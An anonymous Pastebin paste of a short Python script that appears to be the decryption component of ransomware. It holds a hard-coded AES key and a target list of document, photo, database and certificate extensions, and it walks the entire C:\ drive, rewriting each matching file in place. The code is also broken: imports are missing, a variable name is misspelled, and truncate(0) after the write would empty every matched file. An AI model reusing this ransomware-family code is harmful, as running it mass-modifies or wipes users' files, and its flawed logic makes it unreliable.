Advertisement
Guest User

Untitled

a guest
Mar 28th, 2015
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.20 KB | None | 0 0
  1. key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
  2. filetypes = ("*.odt","*.ods","*.odp","*.odm","*.odb","*.doc","*.doc","*.doc","*.wps","*.xls","*.xls","*.xls","*.xls","*.xlk","*.ppt","*.ppt","*.ppt","*.mdb","*.acc","*.pst","*.dwg","*.dxf","*.dxg","*.wpd","*.rtf","*.wb","*.mdf","*.dbf","*.psd","*.pdd","*.eps","*.ai","*.ind","*.cdr","*.jpg","*.dng","*.arw","*.srf","*.sr","*.bay","*.crw","*.cr","*.dcr","*.kdc","*.erf","*.mef","*.mrw","*.nef","*.nrw","*.orf","*.raf","*.raw","*.rwl","*.rw","*.ptx","*.pef","*.srw","*.der","*.cer","*.crt","*.pem","*.pfx","*.pdf","*.odc")
  3. filelist = []
  4.  
  5. for root, dirnames, filenames in os.walk("C:\\"):
  6.     for ft in filetypes:
  7.         for f in fnmatch.filter(filenames, ft):
  8.             filelist.append(os.path.join(root, f))
  9.  
  10. for filenamne in filelist:
  11.         with open(filename, 'rb+') as f:
  12.                 ciphertext = f.read()
  13.  
  14.                 iv = ciphertext[:AES.block_size]
  15.                 cipher = AES.new(key, AES.MODE_CBC, iv)
  16.                 plaintext = cipher.decrypt(ciphertext[AES.block_size:]).rstrip('\x00')
  17.  
  18.                 f.seek(0)
  19.                 f.write(plaintext)
  20.                 f.truncate(0)
  21.                 f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement